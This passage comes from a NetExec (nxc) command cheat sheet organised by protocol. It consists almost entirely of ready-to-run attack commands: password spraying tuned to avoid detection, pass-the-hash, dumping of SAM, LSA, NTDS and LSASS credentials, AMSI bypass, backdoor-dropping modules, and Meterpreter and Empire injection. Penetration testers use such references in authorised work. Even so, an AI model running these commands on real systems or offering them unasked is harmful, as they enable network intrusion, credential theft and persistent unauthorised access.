--no-bruteforce\n\n# Single password spray (safer for avoiding lockouts)\nnxc smb targets.txt -u users.txt -p 'Password123!' -d DOMAIN --continue-on-success\n\n# With jitter to avoid detection\nnxc smb targets.txt -u users.txt -p passwords.txt --jitter 5\n\n# Fail limit options\nnxc smb targets.txt -u users.txt -p passwords.txt --gfail-limit 10     # Global fail limit\nnxc smb targets.txt -u users.txt -p passwords.txt --ufail-limit 3      # Per-user fail limit\nnxc smb targets.txt -u users.txt -p passwords.txt --fail-limit 5       # Per-host fail limit\n```\n\n---\n\n## No Authentication\n\n```bash\n# Null session (empty username)\nnxc smb 192.168.1.10 -u '' -p ''\n\n# Guest account\nnxc smb 192.168.1.10 -u 'guest' -p ''\n\n# Anonymous LDAP bind\nnxc ldap 192.168.1.10 -u '' -p ''\n\n# Enumerate without credentials\nnxc smb 192.168.1.0/24 --gen-relay-list relay.txt    # SMB signing check\n```\n\n---\n\n## Authentication Methods\n\n### Username and Password\n```bash\nnxc smb 192.168.1.10 -u admin -p 'password'\nnxc smb 192.168.1.10 -u admin -p 'password' -d DOMAIN\nnxc smb 192.168.1.10 -u admin -p 'password' --local-auth\n```\n\n### Pass-the-Hash\n```bash\nnxc smb 192.168.1.10 -u admin -H \nnxc smb 192.168.1.10 -u admin -H \nnxc smb 192.168.1.10 -u admin -H  -d DOMAIN\n```\n\n### Kerberos Authentication\n```bash\n# With password\nnxc smb 192.168.1.10 -u admin -p 'password' -d DOMAIN -k\n\n# Using cached ticket (ccache)\nnxc smb 192.168.1.10 -u admin --use-kcache -k\n\n# With AES key\nnxc smb 192.168.1.10 -u admin --aesKey  -k\n\n# Specify KDC\nnxc smb 192.168.1.10 -u admin -p 'password' -d DOMAIN -k --kdcHost dc01.domain.local\n```\n\n### Certificate Authentication\n```bash\n# PFX certificate\nnxc smb 192.168.1.10 --pfx-cert cert.pfx --pfx-pass password\n\n# PEM certificate\nnxc smb 192.168.1.10 --pem-cert cert.pem --pem-key key.pem\n```\n\n---\n\n## SMB Protocol (Port 445)\n\n### Basic Enumeration (No Auth)\n```bash\nnxc smb 192.168.1.0/24                              # Check SMB version, signing\nnxc smb 192.168.1.0/24 --gen-relay-list relay.txt  # Find relay targets\n```\n\n### Enumeration (With Auth)\n```bash\nnxc smb 192.168.1.10 -u user -p pass --shares              # List shares\nnxc smb 192.168.1.10 -u user -p pass --shares --filter-shares read,write  # Filter by access\nnxc smb 192.168.1.10 -u user -p pass --dir \"C$\"            # List directory contents\nnxc smb 192.168.1.10 -u user -p pass --users               # Enumerate users\nnxc smb 192.168.1.10 -u user -p pass --users --enabled     # Only enabled users\nnxc smb 192.168.1.10 -u user -p pass --users-export out.txt  # Export users to file\nnxc smb 192.168.1.10 -u user -p pass --groups              # Enumerate groups\nnxc smb 192.168.1.10 -u user -p pass --computers           # Enumerate computers\nnxc smb 192.168.1.10 -u user -p pass --local-groups        # Local groups\nnxc smb 192.168.1.10 -u user -p pass --pass-pol            # Password policy\nnxc smb 192.168.1.10 -u user -p pass --smb-sessions        # Active SMB sessions\nnxc smb 192.168.1.10 -u user -p pass --disks               # Enumerate disks\nnxc smb 192.168.1.10 -u user -p pass --interfaces          # Network interfaces\nnxc smb 192.168.1.10 -u user -p pass --loggedon-users      # Logged on users\nnxc smb 192.168.1.10 -u user -p pass --rid-brute           # RID cycling\nnxc smb 192.168.1.10 -u user -p pass --qwinsta             # RDP connections\nnxc smb 192.168.1.10 -u user -p pass --tasklist            # Running processes\n```\n\n### WMI Queries\n```bash\nnxc smb 192.168.1.10 -u admin -p pass --wmi \"SELECT * FROM Win32_Process\"\nnxc smb 192.168.1.10 -u admin -p pass --wmi \"SELECT * FROM Win32_Service\" --wmi-namespace \"root\\cimv2\"\n```\n\n### Spidering Shares\n```bash\nnxc smb 192.168.1.10 -u admin -p pass --spider C$\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --spider-folder Users\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --pattern password\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --regex \".*\\.txt$\"\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --content       # Search file content\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --depth 3       # Max recursion depth\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --only-files    # Files only\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --exclude-dirs Windows,System32\n```\n\n### Command Execution\n```bash\nnxc smb 192.168.1.10 -u admin -p pass -x \"whoami\"                    # CMD\nnxc smb 192.168.1.10 -u admin -p pass -X '$PSVersionTable'           # PowerShell\nnxc smb 192.168.1.10 -u admin -p pass --exec-method smbexec -x \"whoami\"\nnxc smb 192.168.1.10 -u admin -p pass --exec-method atexec -x \"whoami\"\nnxc smb 192.168.1.10 -u admin -p pass --exec-method wmiexec -x \"whoami\"\nnxc smb 192.168.1.10 -u admin -p pass --exec-method mmcexec -x \"whoami\"\nnxc smb 192.168.1.10 -u admin -p pass --no-output -x \"command\"       # Don't retrieve output\n```\n\n### PowerShell Options\n```bash\nnxc smb 192.168.1.10 -u admin -p pass -X '$PSVersionTable' --obfs          # Obfuscate\nnxc smb 192.168.1.10 -u admin -p pass -X 'command' --amsi-bypass bypass.ps1\nnxc smb 192.168.1.10 -u admin -p pass -X 'command' --force-ps32            # Force 32-bit\nnxc smb 192.168.1.10 -u admin -p pass -X 'command' --no-encode             # Don't encode\nnxc smb 192.168.1.10 -u admin -p pass --clear-obfscripts                   # Clear cache\n```\n\n### File Operations\n```bash\nnxc smb 192.168.1.10 -u admin -p pass --get-file \"\\\\Windows\\\\Temp\\\\file.txt\" ./local.txt\nnxc smb 192.168.1.10 -u admin -p pass --put-file ./payload.exe \"\\\\Windows\\\\Temp\\\\payload.exe\"\nnxc smb 192.168.1.10 -u admin -p pass --get-file \"\\\\file.txt\" ./out.txt --append-host\n```\n\n### Credential Dumping\n```bash\n# SAM Database\nnxc smb 192.168.1.10 -u admin -p pass --sam                        # Default method\nnxc smb 192.168.1.10 -u admin -p pass --sam secdump                # Using secdump\nnxc smb 192.168.1.10 -u admin -p pass --sam regdump                # Using regdump\n\n# LSA Secrets\nnxc smb 192.168.1.10 -u admin -p pass --lsa                        # Default method\nnxc smb 192.168.1.10 -u admin -p pass --lsa secdump                # Using secdump\nnxc smb 192.168.1.10 -u admin -p pass --lsa regdump                # Using regdump\n\n# NTDS (Domain Controller)\nnxc smb dc01.domain.local -u admin -p pass --ntds                  # Default (drsuapi)\nnxc smb dc01.domain.local -u admin -p pass --ntds vss              # Using VSS\nnxc smb dc01.domain.local -u admin -p pass --ntds drsuapi          # Using drsuapi\nnxc smb dc01.domain.local -u admin -p pass --ntds --user admin     # Specific user\nnxc smb dc01.domain.local -u admin -p pass --ntds --enabled        # Enabled accounts only\n\n# DPAPI\nnxc smb 192.168.1.10 -u admin -p pass --dpapi                      # Dump DPAPI\nnxc smb 192.168.1.10 -u admin -p pass --dpapi cookies              # Include cookies\nnxc smb 192.168.1.10 -u admin -p pass --dpapi nosystem             # Exclude SYSTEM\nnxc smb 192.168.1.10 -u admin -p pass --dpapi --mkfile masterkeys.txt\nnxc smb 192.168.1.10 -u admin -p pass --dpapi --pvk backupkey.pvk\n\n# SCCM\nnxc smb 192.168.1.10 -u admin -p pass --sccm                       # Default (wmi)\nnxc smb 192.168.1.10 -u admin -p pass --sccm wmi                   # Using WMI\nnxc smb 192.168.1.10 -u admin -p pass --sccm disk                  # Using disk\n```\n\n### SMB Modules\n\n#### LOW PRIVILEGE MODULES\n```bash\n# Vulnerability Checks\nnxc smb 192.168.1.10 -u user -p pass -M ms17-010                   # EternalBlue\nnxc smb 192.168.1.10 -u user -p pass -M zerologon                  # CVE-2020-1472\nnxc smb 192.168.1.10 -u user -p pass -M nopac                      # CVE-2021-42278/42287\nnxc smb 192.168.1.10 -u user -p pass -M printnightmare             # PrintNightmare\nnxc smb 192.168.1.10 -u user -p pass -M remove-mic                 # CVE-2019-1040\nnxc smb 192.168.1.10 -u user -p pass -M smbghost                   # CVE-2020-0796\nnxc smb 192.168.1.10 -u user -p pass -M coerce_plus                # Coercion vulns\nnxc smb 192.168.1.10 -u user -p pass -M timeroast                  # Timeroasting\n\n# Enumeration\nnxc smb 192.168.1.10 -u user -p pass -M enum_av                    # AV products\nnxc smb 192.168.1.10 -u user -p pass -M enum_ca                    # ADCS CAs\nnxc smb 192.168.1.10 -u user -p pass -M ioxidresolver              # Additional interfaces\nnxc smb 192.168.1.10 -u user -p pass -M spooler                    # Print spooler\nnxc smb 192.168.1.10 -u user -p pass -M webdav                     # WebClient service\nnxc smb 192.168.1.10 -u user -p pass -M spider_plus                # Spider shares\nnxc smb 192.168.1.10 -u user -p pass -M spider_plus -o READ_ONLY=false\n\n# Password Hunting\nnxc smb 192.168.1.10 -u user -p pass -M gpp_password               # GPP passwords\nnxc smb 192.168.1.10 -u user -p pass -M gpp_autologin              # GPP autologin\n\n# Backdoors\nnxc smb 192.168.1.10 -u user -p pass -M drop-sc                    # Drop searchConnector\nnxc smb 192.168.1.10 -u user -p pass -M scuffy                     # Drop .scf files\nnxc smb 192.168.1.10 -u user -p pass -M slinky                     # Create LNK backdoors\n\n# Computer Management\nnxc smb 192.168.1.10 -u user -p pass -M add-computer               # Add/delete computer\nnxc smb 192.168.1.10 -u user -p pass -M backup_operator            # Backup operator exploit\n```\n\n#### HIGH PRIVILEGE MODULES (requires admin)\n```bash\n# Credential Dumping\nnxc smb 192.168.1.10 -u admin -p pass -M lsassy                    # LSASS dump\nnxc smb 192.168.1.10 -u admin -p pass -M nanodump                  # Alternative LSASS\nnxc smb 192.168.1.10 -u admin -p pass -M procdump                  # Process dump\nnxc smb 192.168.1.10 -u admin -p pass -M handlekatz                # Handle dump\nnxc smb 192.168.1.10 -u admin -p pass -M dpapi_hash                # DPAPI masterkeys\nnxc smb 192.168.1.10 -u admin -p pass -M hash_spider               # Recursive LSASS\nnxc smb 192.168.1.10 -u admin -p pass -M ntdsutil                  # NTDS with ntdsutil\n\n# Application Credentials\nnxc smb 192.168.1.10 -u admin -p pass -M keepass_discover          # Find KeePass\nnxc smb 192.168.1.10 -u admin -p pass -M keepass_trigger           # KeePass trigger\nnxc smb 192.168.1.10 -u admin -p pass -M mobaxterm                 # MobaXterm creds\nnxc smb 192.168.1.10 -u admin -p pass -M mremoteng                 # mRemoteNG creds\nnxc smb 192.168.1.10 -u admin -p pass -M putty                     # PuTTY keys\nnxc smb 192.168.1.10 -u admin -p pass -M rdcman                    # RDCMan creds\nnxc smb 192.168.1.10 -u admin -p pass -M winscp                    # WinSCP creds\nnxc smb 192.168.1.10 -u admin -p pass -M vnc                       # VNC passwords\nnxc smb 192.168.1.10 -u admin -p pass -M wifi                      # WiFi passwords\nnxc smb 192.168.1.10 -u admin -p pass -M veeam                     # Veeam DB creds\nnxc smb 192.168.1.10 -u admin -p pass -M msol                      # Azure AD Connect\nnxc smb 192.168.1.10 -u admin -p pass -M teams_localdb             # Teams SSO cookie\nnxc smb 192.168.1.10 -u admin -p pass -M wam                       # Token Broker Cache\n\n# Enumeration\nnxc smb 192.168.1.10 -u admin -p pass -M enum_dns                  # DNS records (WMI)\nnxc smb 192.168.1.10 -u admin -p pass -M get_netconnections        # Network connections\nnxc smb 192.168.1.10 -u admin -p pass -M bitlocker                 # BitLocker status\nnxc smb 192.168.1.10 -u admin -p pass -M hyperv-host               # HyperV host\nnxc smb 192.168.1.10 -u admin -p pass -M iis                       # IIS app pool creds\nnxc smb 192.168.1.10 -u admin -p pass -M install_elevated          # AlwaysInstallElevated\nnxc smb 192.168.1.10 -u admin -p pass -M ntlmv1                    # NTLMv1 enabled\nnxc smb 192.168.1.10 -u admin -p pass -M runasppl                  # RunAsPPL status\nnxc smb 192.168.1.10 -u admin -p pass -M uac                       # UAC status\nnxc smb 192.168.1.10 -u admin -p pass -M wcc                       # Security config\nnxc smb 192.168.1.10 -u admin -p pass -M security-questions        # Security Q&A\n\n# File Operations\nnxc smb 192.168.1.10 -u admin -p pass -M notepad++                 # Unsaved files\nnxc smb 192.168.1.10 -u admin -p pass -M powershell_history        # PS history\nnxc smb 192.168.1.10 -u admin -p pass -M recent_files              # Recent files\nnxc smb 192.168.1.10 -u admin -p pass -M snipped                   # Snipping Tool\n\n# Persistence & Execution\nnxc smb 192.168.1.10 -u admin -p pass -M empire_exec               # Empire agent\nnxc smb 192.168.1.10 -u admin -p pass -M met_inject                # Meterpreter\nnxc smb 192.168.1.10 -u admin -p pass -M web_delivery              # Web delivery\nnxc smb 192.168.1.10 -u admin -p pass -M impersonate               # Token impersonation\nnxc smb 192.168.1.10 -u admin -p pass -M pi                        # Process injection\nnxc smb 192.168.1.10 -u admin -p pass -M schtask_as                # Scheduled task\n\n# Configuration Changes\nnxc smb 192.168.1.10 -u admin -p pass -M rdp -o ACTION=enable      # Enable RDP\nnxc smb 192.168.1.10 -u admin -p pass -M rdp -o ACTION=disable     # Disable RDP\nnxc smb 192.168.1.10 -u admin -p pass -M shadowrdp                 # Shadow RDP\nnxc smb 192.168.1.10 -u admin -p pass -M wdigest -o ACTION=enable  # Enable WDigest\nnxc smb 192.168.1.10 -u admin -p pass -M remote-uac                # Remote UAC\n\n# Registry Operations\nnxc smb 192.168.1.10 -u admin -p pass -M reg-query                 # Registry query\nnxc smb 192.168.1.10 -u admin -p pass -M reg-winlogon              # Winlogon creds\n\n# Utility\nnxc smb 192.168.1.10 -u admin -p pass -M test_connection           # Test connectivity\n```\n\n---\n\n## LDAP Protocol (Port 389/636)\n\n### Basic Enumeration\n```bash\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --users           # Enumerate all users\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --users user123   # Specific user\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --users-export out.txt\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --groups          # Enumerate all groups\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --groups \"Domain Admins\"\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --computers       # Enumerate computers\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --dc-list         # List DCs\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --get-sid         # Get domain SID\n```\n\n### Advanced Queries\n```bash\nnxc ldap 192.168.1.10 -u user -p pass --admin-count               # adminCount=1 users\nnxc ldap 192.168.1.10 -u user -p pass --trusted-for-delegation    # Trusted delegation\nnxc ldap 192.168.1.10 -u user -p pass --password-not-required     # Empty passwords allowed\nnxc ldap 192.168.1.10 -u user -p pass --active-users              # Active accounts only\nnxc ldap 192.168.1.10 -u user -p pass --find-delegation           # Delegation relationships\n\n# GMSA\nnxc ldap 192.168.1.10 -u user -p pass --gmsa                       # Enumerate GMSA\nnxc ldap 192.168.1.10 -u user -p pass --gmsa-convert-id gmsa_name\nnxc ldap 192.168.1.10 -u user -p pass --gmsa-decrypt-lsa lsa_data\n\n# Custom LDAP Query\nnxc ldap 192.168.1.10 -u user -p pass --query \"(objectClass=user)\" \"cn,sAMAccountName\"\nnxc ldap 192.168.1.10 -u user -p pass --base-dn \"OU=Users,DC=domain,DC=local\"\n```\n\n### Kerberoasting & ASREPRoasting\n```bash\nnxc ldap 192.168.1.10 -u user -p pass --kerberoasting output.txt\nnxc ldap 192.168.1.10 -u user -p pass --asreproast output.txt\n```\n\n### Bloodhound Collection\n```bash\nnxc ldap 192.168.1.10 -u user -p pass --bloodhound\nnxc ldap 192.168.1.10 -u user -p pass --bloodhound -c All\nnxc ldap 192.168.1.10 -u user -p pass --bloodhound -c Default\nnxc ldap 192.168.1.10 -u user -p pass --bloodhound -c DCOnly\nnxc ldap 192.168.1.10 -u user -p pass --bloodhound -c Session,LoggedOn\nnxc ldap 192.168.1.10 -u user -p pass --bloodhound -c Group,LocalAdmin,ACL\n```\n\n### LDAP Modules\n\n#### LOW PRIVILEGE MODULES\n```bash\nnxc ldap 192.168.1.10 -u user -p pass -M adcs                      # Find ADCS/PKI\nnxc ldap 192.168.1.10 -u user -p pass -M daclread                  # Read DACLs\nnxc ldap 192.168.1.10 -u user -p pass -M enum_trusts               # Trust relationships\nnxc ldap 192.168.1.10 -u user -p pass -M find-computer             # Find computers\nnxc ldap 192.168.1.10 -u user -p pass -M get-desc-users            # User descriptions\nnxc ldap 192.168.1.10 -u user -p pass -M get-network               # DNS records/IPs\nnxc ldap 192.168.1.10 -u user -p pass -M get-unixUserPassword      # Unix passwords\nnxc ldap 192.168.1.10 -u user -p pass -M get-userPassword          # User passwords\nnxc ldap 192.168.1.10 -u user -p pass -M groupmembership           # User group membership\nnxc ldap 192.168.1.10 -u user -p pass -M laps                      # LAPS passwords\nnxc ldap 192.168.1.10 -u user -p pass -M ldap-checker              # LDAP signing/binding\nnxc ldap 192.168.1.10 -u user -p pass -M maq                       # MachineAccountQuota\nnxc ldap 192.168.1.10 -u user -p pass -M obsolete                  # Obsolete OS\nnxc ldap 192.168.1.10 -u user -p pass -M pre2k                     # Pre-created accounts\nnxc ldap 192.168.1.10 -u user -p pass -M pso                       # Password policies\nnxc ldap 192.168.1.10 -u user -p pass -M sccm                      # SCCM infrastructure\nnxc ldap 192.168.1.10 -u user -p pass -M subnets                   # Sites and subnets\nnxc ldap 192.168.1.10 -u user -p pass -M user-desc                 # User descriptions\nnxc ldap 192.168.1.10 -u user -p pass -M whoami                    # Current user details\n```\n\n---\n\n## WinRM Protocol (Port 5985/5986)\n\n### Basic Usage\n```bash\nnxc winrm 192.168.1.10 -u admin -p pass\nnxc winrm 192.168.1.10 -u admin -H \nnxc winrm 192.168.1.10 -u admin -p pass -d DOMAIN\nnxc winrm 192.168.1.10 -u admin -p pass --local-auth\nnxc winrm 192.168.1.10 -u admin -p pass --laps                     # LAPS auth\n```\n\n### Port Configuration\n```bash\nnxc winrm 192.168.1.10 -u admin -p pass --port 5985                # HTTP only\nnxc winrm 192.168.1.10 -u admin -p pass --port 5986                # HTTPS only\nnxc winrm 192.168.1.10 -u admin -p pass --port 5985 5986           # Both ports\nnxc winrm 192.168.1.10 -u admin -p pass --check-proto http         # HTTP only\nnxc winrm 192.168.1.10 -u admin -p pass --check-proto https        # HTTPS only\nnxc winrm 192.168.1.10 -u admin -p pass --check-proto http https   # Both protocols\nnxc winrm 192.168.1.10 -u admin -p pass --http-timeout 15          # Timeout\n```\n\n### Command Execution\n```bash\nnxc winrm 192.168.1.10 -u admin -p pass -x \"whoami\"\nnxc winrm 192.168.1.10 -u admin -p pass -X '$PSVersionTable'\nnxc winrm 192.168.1.10 -u admin -p pass -x \"ipconfig /all\"\nnxc winrm 192.168.1.10 -u admin -p pass --no-output -x \"command\"\n```\n\n### Credential Dumping\n```bash\nnxc winrm 192.168.1.10 -u admin -p pass --sam                      # Dump SAM\nnxc winrm 192.168.1.10 -u admin -p pass --lsa                      # Dump LSA\nnxc winrm 192.168.1.10 -u admin -p pass --dump-method cmd          # Using cmd\nnxc winrm 192.168.1.10 -u admin -p pass --dump-method powershell   # Using PowerShell\n```\n\n### WinRM Modules\n```bash\n# No modules available for WinRM protocol in current version\n```\n\n---\n\n## SSH Protocol (Port 22)\n\n### Authentication\n```bash\nnxc ssh 192.168.1.10 -u root -p password\nnxc ssh 192.168.1.10 -u root -p passwords.txt\nnxc ssh 192.168.1.10 -u root --key-file id_rsa\nnxc ssh 192.168.1.10 -u root --key-file id_rsa -p passphrase\nnxc ssh 192.168.1.10 -u users.txt -p passwords.txt\nnxc ssh 192.168.1.10 -u root -p pass --port 2222\nnxc ssh 192.168.1.10 -u root -p pass --ssh-timeout 20\n```\n\n### Command Execution\n```bash\nnxc ssh 192.168.1.10 -u root -p pass -x \"cat /etc/passwd\"\nnxc ssh 192.168.1.10 -u root -p pass -x \"uname -a\"\nnxc ssh 192.168.1.10 -u root -p pass -x \"id\"\nnxc ssh 192.168.1.10 -u root -p pass --no-output -x \"command\"\n```\n\n### Sudo Operations\n```bash\nnxc ssh 192.168.1.10 -u user -p pass --sudo-check                  # Check sudo privs\nnxc ssh 192.168.1.10 -u user -p pass --sudo-check-method sudo-stdin\nnxc ssh 192.168.1.10 -u user -p pass --sudo-check-method mkfifo\nnxc ssh 192.168.1.10 -u user -p pass --get-output-tries 10\n```\n\n### File Operations\n```bash\nnxc ssh 192.168.1.10 -u root -p pass --put-file local.txt /tmp/remote.txt\nnxc ssh 192.168.1.10 -u root -p pass --get-file /etc/passwd ./passwd.txt\n```\n\n### SSH Modules\n```bash\n# No modules available for SSH protocol in current version\n```\n\n---\n\n## RDP Protocol (Port 3389)\n\n### Check Access\n```bash\nnxc rdp 192.168.1.10 -u admin -p password\nnxc rdp 192.168.1.10 -u admin -H \nnxc rdp 192.168.1.10 -u users.txt -p passwords.txt -d DOMAIN\nnxc rdp 192.168.1.10 -u admin -p pass --local-auth\nnxc rdp 192.168.1.10 -u admin -p pass --port 3390\nnxc rdp 192.168.1.10 -u admin -p pass --rdp-timeout 10\n```\n\n### Screenshots\n```bash\nnxc rdp 192.168.1.10 -u admin -p pass --screenshot\nnxc rdp 192.168.1.10 -u admin -p pass --screenshot --screentime 10\nnxc rdp 192.168.1.10 -u admin -p pass --screenshot --res 1920x1080\nnxc rdp 192.168.1.10 -u admin -p pass --nla-screenshot             # If NLA disabled\n```\n\n### RDP Modules\n```bash\n# No modules available for RDP protocol in current version\n```\n\n---\n\n## MSSQL Protocol (Port 1433)\n\n### Authentication\n```bash\nnxc mssql 192.168.1.10 -u sa -p password\nnxc mssql 192.168.1.10 -u sa -p password --local-auth\nnxc mssql 192.168.1.10 -u user -p pass -d DOMAIN\nnxc mssql 192.168.1.10 -u user -p pass -d DOMAIN -k              # Kerberos\nnxc mssql 192.168.1.10 -u sa -H \nnxc mssql 192.168.1.10 -u sa -p pass --port 1434\nnxc mssql 192.168.1.10 -u sa -p pass --mssql-timeout 10\n```\n\n### Queries\n```bash\nnxc mssql 192.168.1.10 -u sa -p pass -q \"SELECT @@version\"\nnxc mssql 192.168.1.10 -u sa -p pass -q \"SELECT name FROM sys.databases\"\nnxc mssql 192.168.1.10 -u sa -p pass -q \"SELECT name FROM sys.server_principals\"\nnxc mssql 192.168.1.10 -u sa -p pass -q \"EXEC sp_helprotect\"\n```\n\n### Command Execution\n```bash\nnxc mssql 192.168.1.10 -u sa -p pass -x \"whoami\"                 # via xp_cmdshell\nnxc mssql 192.168.1.10 -u sa -p pass -X 'Get-Host'               # PowerShell\nnxc mssql 192.168.1.10 -u sa -p pass --no-output -x \"command\"\n```\n\n### PowerShell Options\n```bash\nnxc mssql 192.168.1.10 -u sa -p pass -X 'command' --force-ps32\nnxc mssql 192.168.1.10 -u sa -p pass -X 'command' --obfs\nnxc mssql 192.168.1.10 -u sa -p pass -X 'command' --amsi-bypass bypass.ps1\nnxc mssql 192.168.1.10 -u sa -p pass -X 'command' --no-encode\nnxc mssql 192.168.1.10 -u sa -p pass --clear-obfscripts\n```\n\n### File Operations\n```bash\nnxc mssql 192.168.1.10 -u sa -p pass --put-file local.txt C:\\\\Temp\\\\remote.txt\nnxc mssql 192.168.1.10 -u sa -p pass --get-file C:\\\\Temp\\\\file.txt ./local.txt\n```\n\n### Enumeration\n```bash\nnxc mssql 192.168.1.10 -u sa -p pass --rid-brute                  # RID bruteforce\nnxc mssql 192.168.1.10 -u sa -p pass --rid-brute 5000\n```\n\n### MSSQL Modules\n\n#### LOW PRIVILEGE MODULES\n```bash\nnxc mssql 192.168.1.10 -u user -p pass -M enum_impersonate        # Impersonation privs\nnxc mssql 192.168.1.10 -u user -p pass -M enum_logins             # SQL logins\nnxc mssql 192.168.1.10 -u user -p pass -M exec_on_link            # Execute on linked server\nnxc mssql 192.168.1.10 -u user -p pass -M link_enable_xp          # Enable xp_cmdshell on link\nnxc mssql 192.168.1.10 -u user -p pass -M link_xpcmd              # Run xp_cmdshell on link\nnxc mssql 192.168.1.10 -u user -p pass -M mssql_coerce            # Execute arbitrary SQL\nnxc mssql 192.168.1.10 -u user -p pass -M mssql_priv              # Enumerate/exploit privs\n```\n\n#### HIGH PRIVILEGE MODULES\n```bash\nnxc mssql 192.168.1.10 -u sa -p pass -M empire_exec               # Empire agent\nnxc mssql 192.168.1.10 -u sa -p pass -M enum_links                # Enumerate linked servers\nnxc mssql 192.168.1.10 -u sa -p pass -M met_inject                # Meterpreter injection\nnxc mssql 192.168.1.10 -u sa -p pass -M nanodump                  # LSASS dump\nnxc mssql 192.168.1.10 -u sa -p pass -M test_connection           # Test connectivity\nnxc mssql 192.168.1.10 -u sa -p pass -M web_delivery              # Web delivery\n```\n\n---\n\n## FTP Protocol (Port 21)\n\n### Authentication\n```bash\nnxc ftp 192.168.1.10 -u admin -p password\nnxc ftp 192.168.1.10 -u anonymous -p ''\nnxc ftp 192.168.1.10 -u users.txt -p passwords.txt\nnxc ftp 192.168.1.10 -u admin -p pass --port 2121\n```\n\n### File Operations\n```bash\nnxc ftp 192.168.1.10 -u admin -p pass --ls                        # List root\nnxc ftp 192.168.1.10 -u admin -p pass --ls /var/www\nnxc ftp 192.168.1.10 -u admin -p pass --get file.txt\nnxc ftp 192.168.1.10 -u admin -p pass --put local.txt remote.txt\n```\n\n### FTP Modules\n```bash\n# No modules available for FTP protocol in current version\n```\n\n---\n\n## VNC Protocol (Port 5900)\n\n### Authentication\n```bash\nnxc vnc 192.168.1.10 -u admin -p password\nnxc vnc 192.168.1.10 -u admin -p passwords.txt\nnxc vnc 192.168.1.10 -u admin -p pass --port 5901\nnxc vnc 192.168.1.10 -u admin -p pass --vnc-sleep 5               # Rate limiting\n```\n\n### Screenshot\n```bash\nnxc vnc 192.168.1.10 -u admin -p pass --screenshot\nnxc vnc 192.168.1.10 -u admin -p pass --screenshot --screentime 5\n```\n\n### VNC Modules\n```bash\n# No modules available for VNC protocol in current version\n```\n\n---\n\n## NFS Protocol (Port 111)\n\n### Enumeration\n```bash\nnxc nfs 192.168.1.10                                               # Basic enumeration\nnxc nfs 192.168.1.10 --shares                                      # List shares\nnxc nfs 192.168.1.10 --enum-shares                                 # Enumerate shares (depth 3)\nnxc nfs 192.168.1.10 --enum-shares 5                               # Custom depth\nnxc nfs 192.168.1.10 --port 2049\nnxc nfs 192.168.1.10 --nfs-timeout 10\n```\n\n### Share Operations\n```bash\nnxc nfs 192.168.1.10 --share /export --ls                          # List share root\nnxc nfs 192.168.1.10 --share /export --ls /path/to/dir\nnxc nfs 192.168.1.10 --share /export --get-file remote.txt local.txt\nnxc nfs 192.168.1.10 --share /export --put-file local.txt remote.txt\n```\n\n### NFS Modules\n```bash\n# No modules available for NFS protocol in current version\n```\n\n---\n\n## WMI Protocol (Port 135)\n\n### Basic Usage\n```bash\nnxc wmi 192.168.1.10 -u admin -p password\nnxc wmi 192.168.1.10 -u admin -H \nnxc wmi 192.168.1.10 -u admin -p pass -d DOMAIN\nnxc wmi 192.168.1.10 -u admin -p pass --local-auth\nnxc wmi 192.168.1.10 -u admin -p pass --rpc-timeout 5\n```\n\n### WMI Queries\n```bash\nnxc wmi 192.168.1.10 -u admin -p pass --wmi \"SELECT * FROM Win32_Process\"\nnxc wmi 192.168.1.10 -u admin -p pass --wmi \"SELECT * FROM Win32_Service\"\nnxc wmi 192.168.1.10 -u admin -p pass --wmi \"SELECT * FROM Win32_ComputerSystem\"\nnxc wmi 192.168.1.10 -u admin -p pass --wmi-namespace \"root\\cimv2\"\n```\n\n### Command Execution\n```bash\nnxc wmi 192.168.1.10 -u admin -p pass -x \"whoami\"\nnxc wmi 192.168.1.10 -u admin -p pass --exec-method wmiexec -x \"whoami\"\nnxc wmi 192.168.1.10 -u admin -p pass --exec-method wmiexec-event -x \"whoami\"\nnxc wmi 192.168.1.10 -u admin -p pass --exec-timeout 10\nnxc wmi 192.168.1.10 -u admin -p pass --no-output -x \"command\"\n```\n\n### WMI Modules\n\n#### LOW PRIVILEGE MODULES\n```bash\nnxc wmi 192.168.1.10 -u user -p pass -M ioxidresolver              # Additional interfaces\nnxc wmi 192.168.1.10 -u user -p pass -M spooler                    # Print spooler\nnxc wmi 192.168.1.10 -u user -p pass -M zerologon                  # Zerologon check\n```\n\n#### HIGH PRIVILEGE MODULES\n```bash\nnxc wmi 192.168.1.10 -u admin -p pass -M bitlocker                 # BitLocker status\nnxc wmi 192.168.1.10 -u admin -p pass -M enum_dns                  # DNS records\nnxc wmi 192.168.1.10 -u admin -p pass -M get_netconnections        # Network connections\nnxc wmi 192.168.1.10 -u admin -p pass -M rdp -o ACTION=enable      # Enable RDP\nnxc wmi 192.168.1.10 -u admin -p pass -M rdp -o ACTION=disable     # Disable RDP\n```\n\n---\n\n## General Flags & Options\n\n### Threading & Performance\n```bash\n-t 256                       # Number of threads (default: 256)\n--timeout 10                 # Connection timeout in seconds\n--jitter 5                   # Random delay between requests (seconds)\n```\n\n### Output & Logging\n```bash\n--verbose                    # Verbose output\n--debug                      # Debug mode\n--log output.log             # Save output to file\n--no-progress                # Disable progress bar\n```\n\n### DNS Options\n```bash\n-6                           # Force IPv6\n--dns-server 8.8.8.8         # Custom DNS server\n--dns-tcp                    # Use TCP for DNS queries\n--dns-timeout 3              # DNS timeout in seconds\n```\n\n### Credential Database\n```bash\n-id 1                        # Use credential ID from database\n-id 1 2 3                    # Use multiple credential IDs\n```\n\n### Server Options\n```bash\n--server https               # Use HTTPS server (default)\n--server http                # Use HTTP server\n--server-host 0.0.0.0        # Bind server to IP\n--server-port 8000           # Server port\n--connectback-host IP        # Connectback IP for remote system\n```\n\n### Database\n```bash\ncmedb                        # Access NXC database\nexport smb                   # Export SMB results\n```\n\n### Modules\n```bash\nnxc smb -L                              # List all SMB 